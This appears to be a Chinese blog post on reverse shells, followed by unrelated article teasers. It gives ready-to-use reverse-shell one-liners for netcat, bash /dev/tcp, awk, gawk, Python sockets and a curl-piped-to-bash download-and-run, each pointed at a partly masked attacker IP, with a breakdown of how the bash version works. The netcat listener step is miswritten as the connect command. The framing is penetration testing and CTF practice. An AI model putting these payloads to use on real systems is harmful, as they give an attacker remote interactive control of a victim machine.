关于反弹Shell个人的一些理解与学习收获

news2024/11/17 11:50:53

反弹Shell

概念:

反弹shell(reverse shell),就是控制端(攻击者所有)监听某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转发到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念上的客户端与服务端的角色反转。

原因:

•目标机因防火墙受限,目标机器只能发送请求,不能接收请求。

•目标机端口被占用。•目标机位于局域网,或IP会动态变化,攻击机无法直接连接。

•对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知的。

对于以上几种情况,我们是无法利用正向连接的,要用反向连接。

作用:

反弹shell通常用于被控端因防火墙受限、权限不足、端口被占用等情形。在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入

以下详细介绍Windows和Linux系统下反弹shell的几种方式。

环境:

攻击机:华为云服务器 

靶机:linux

方法:

 1、利用利用netcat反弹shell

Netcat 是一款简单的Unix工具,使用UDP和TCP协议。它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。使用它你可以轻易的建立任何连接。

攻击机开启本地监听:

netcat 120.xx.xx.141 2333 -e /bin/bash

目标机主动连接攻击机: 

netcat 120.xx.xx.141 2333 -e /bin/bash

效果如下:

 

2、利用Bash反弹shell 

这个方法不管是打CTF或者是挖洞的时候用的比较多,个人感觉反弹shell最好用的方法就是使用bash结合重定向方法的一句话

bash -i >& /dev/tcp/120.xx.xx.141/2333 0>&1

下是针对Bash反弹一句话进行了拆分说明:

命令

命令详解

bash -i

产生一个bash交互环境。

>&

将联合符号前面的内容与后面相结合,然后一起重定向给后者。

/dev/tcp/47.xxx.xxx.72/2333

Linux环境中所有的内容都是以文件的形式存在的,其实大家一看见这个内容就能明白,就是让目标主机与攻击机47.xxx.xxx.72的2333端口建立一个tcp连接。

0>&1

将标准输入与标准输出的内容相结合,然后重定向给前面标准输出的内容。

Bash反弹一句完整的解读过程就是:

Bash产生了一个交互环境和本地主机主动发起与攻击机2333端口建立的连接(即TCP 2333会话连接)相结合,然后在重定向个TCP 2333会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个Bash反弹环境。

 

但是这里 会提示没有/dev/tcp 这是怎么回事 ,解释和解决方法如下

https://evilpan.com/2021/04/25/reverse-shell/

但是一般情况是直接可以进行反弹的

 3、awk 一句话反弹 shell

awk是一种处理文本文件的语言,是一种解释型的编程语言,可以使用awk来处理反弹的命令。

目标机输入:

awk 'BEGIN {s = "/inet/tcp/0/120.xx.xx.141/2333"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

攻击机还是一样开启监听:

 nc -lvvp 2333

与 bash 的连接相比,awk 的实现增加了更多功能,可以指定 IPv4/IPv6,以及指定绑定的本地端口。 

4、 利用gawk反弹
gawk 'BEGIN{s="/inet/tcp/0/120.xx.xx.141/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

5、Python 脚本反弹shell 

 当目标机上有python环境就饿可以使用下面指令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.xx.xx.141",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

 

6、Curl配合Bash反弹shell 

 

在目标机上执行 curl 攻击者web服务ip|bash,该 ip 的web服务目录里的 index 文件上含有 bash 一句话,就可以反弹shell。

首先,在攻击者自己的服务器 web 目录里面创建一个index文件(index.php或index.html),内容如下:

bash -i >& /dev/tcp/攻击者主机ip/port 0>&1


开启2333端口的监听。

然后再目标机上执行如下,即可反弹shell:

curl 120.xxx.xxx.72|bash

效果: 

总结: 

个人认为第2,5,6种方法较为常用,2是最常用的可以深入了解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1205371.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux 本地zabbix结合内网穿透工具实现安全远程访问浏览器

前言 Zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。能监视各种网络参数,保证服务器系统的安全运营;并提供灵活的通知机制以让系统管理员快速定位/解决存在的各种问题。 本地zabbix web管理界面限制在只能局域…

OpenMMlab导出yolov3模型并用onnxruntime和tensorrt推理

导出onnx文件 直接使用脚本 import torch from mmdet.apis import init_detector, inference_detectorconfig_file ./configs/yolo/yolov3_mobilenetv2_8xb24-ms-416-300e_coco.py checkpoint_file yolov3_mobilenetv2_mstrain-416_300e_coco_20210718_010823-f68a07b3.pth…

计算机网络期末复习-Part5

1、CRC计算 看例题:待发送序列为101110,生成多项式为X31,计算CRC校验码 先在待发送序列末尾添加与生成多项式次数相同的零,在上述例子中,生成多项式是X^3 1,所以需要添加3个零,待发送序列变成…

面试官问 Spring AOP 中两种代理模式的区别?很多面试者被问懵了

面试官问 Spring AOP 中两种代理模式的区别?很多初学者栽了跟头,快来一起学习吧! 代理模式是一种结构性设计模式。为对象提供一个替身,以控制对这个对象的访问。即通过代理对象访问目标对象,并允许在将请求提交给对象前后进行一…

11.9乘法器实验总结(流水线,for移位)

for循环乘法器 流水线乘法器 仿真的时候,注意把clk设置一个初始值 分析报告 电路图分析: 比对两种实现方式的RTL级电路图可以发现,for循环的乘法器本质为转为不断的循环累加,故最终电路长度很长,取决于循环,即累加的…

CSS特效008:鼠标悬浮文字跳动动画效果

总第 010 篇文章, 查看专栏目录 本专栏记录的是经常使用的CSS示例与技巧,主要包含CSS布局,CSS特效,CSS花边信息三部分内容。其中CSS布局主要是列出一些常用的CSS布局信息点,CSS特效主要是一些动画示例,CSS花…

VB.NET三层之用户查询窗体

目录 前言: 过程: UI层代码展示: BLL层代码展示: DAL层代码展示: 查询用户效果图:​ 总结: 前言: 想要对用户进行查询,需要用到控件DataGrideView,通过代码的形式将数据库表中的数据显示在DataGrideview控件中,不用对DatGridView控件…

关于财税体制什么是扁平化?三级财政西方的龙骑兵FIBW 10道练习题第五题

目录 关于财税体制什么是扁平化? 三级财政 西方的龙骑兵 FIBW 10道练习题 第五题 关于财税体制什么是扁平化? 在财税领域,"扁平化"(Flattening)通常指的是简化税收结构,减少税种和税率的层…

深度学习 YOLO 实现车牌识别算法 计算机竞赛

文章目录 0 前言1 课题介绍2 算法简介2.1网络架构 3 数据准备4 模型训练5 实现效果5.1 图片识别效果5.2视频识别效果 6 部分关键代码7 最后 0 前言 🔥 优质竞赛项目系列,今天要分享的是 🚩 基于yolov5的深度学习车牌识别系统实现 该项目较…

【Liunx】DHCP服务

【Liunx】DHCP服务 DHCP概述A.安装dhcpB.查看配置文件C.修改配置文件 DHCP概述 DHCP(Dynamic Host Configuration Protocol)i动态主机配置协议 DHCP是由Internet工作任务小组设计开发的,专门用于为TCP/IP网络中的计算机自动分配TCP/IP参数的协议。 口使用DHCP服务的…

YOLOv5算法进阶改进(3)— 引入深度可分离卷积C3模块 | 轻量化网络

前言:Hello大家好,我是小哥谈。深度可分离卷积是一种卷积神经网络中的卷积操作,它可以将标准卷积分解为两个较小的卷积操作:深度卷积和逐点卷积。深度卷积是在每个输入通道上分别执行卷积,而逐点卷积是在所有通道上执行卷积。这种分解可以大大减少计算量和参数数量,从而提…

在 HarmonyOS 上实现 ArkTS 与 H5 的交互

介绍 本篇 Codelab 主要介绍 H5 如何调用原生侧相关功能,并在回调中获取执行结果。以“获取通讯录”为示例分步讲解 JSBridge 桥接的实现。 相关概念 Web组件:提供具有网页显示能力的 Web 组件。 ohos.web.webview:提供 web 控制能力。 …

【vue实战项目】通用管理系统:封装token操作和网络请求

目录 1.概述 2.封装对token的操作 3.封装axios 1.概述 前文我们已经完成了登录页: 【vue实战项目】通用管理系统:登录页-CSDN博客 接下来我们要封装一下对token的操作和网络请求操作。之所以要封装这部分内容是因为token我们登陆后的所有请求都要携…

lamp环境搭建(kali,docker,ubuntu)

学了微专业,然后第一节课是学的搭建自己的环境,这里记录一下吧。 搭建一个lamp环境 (因为本人使用的是kali而且还带有集成环境的xampp,本身就自带了apache2,mysql和php。)后面有用ubuntu从0开始搭建的。 在kali环境下: 1.首先查看apache2和mysql和php 查看apache2 where…

二、Linux用户管理

Linux是一个多用户多任务的操作系统,任何一个要使用系统资源的用户,都必须向系统管理员申请一个账户,然后用这个账户进入系统。 每个Linux用户至少属于一个用户组。 用户家目录home下,有各个用户分别创建的家目录&#xf…

全域全自主建设,亚信科技AntDB数据库助力广电5G业务上线运行

自2019年6月,中国广电成功获得5G牌照以来,迅速推进网络建设目标,成为5G网络覆盖广、应用场景多、用户体验出色的第四大运营商。其依托全球独有的700MHz频谱资源,具备覆盖能力强、容量足、速率高的优势。通过不断深化和中国移动的共…

进行 “最佳价格查询器” 的开发(多种并行方式的性能比较)

前置条件 public class Shop {private final String name;private final Random random;public Shop(String name) {this.name name;random new Random(name.charAt(0) * name.charAt(1) * name.charAt(2));}public double getPrice(String product) {return calculatePrice…

让AI拥有人类的价值观,和让AI拥有人类智能同样重要

编者按:2023年是微软亚洲研究院建院25周年。25年来,微软亚洲研究院探索并实践了一种独特且有效的企业研究院的新模式,并以此为基础产出了诸多对微软公司和全球社会都有积极影响的创新成果。一直以来,微软亚洲研究院致力于创造具有…

python中的切片操作

切片操作: 1.切片操作是访问元素序列的另一种方法,它可以访问一定范围内的元素。通过切片操作形成一个新序列 语法结构: 序列【start:end:step】 参数说明: start:表示切片的开始位置&#x…

027 - STM32学习笔记 - ADC初识(一)

026- STM32学习笔记 - ADC初识(一) 前几天不小心把板子掉地上了,液晶屏摔坏了,暂时先停一下液晶屏的学习,等新的板子来了再继续学习。 一、ADC介绍 ADC指的是Analog to Digital Converter(模数转换器&…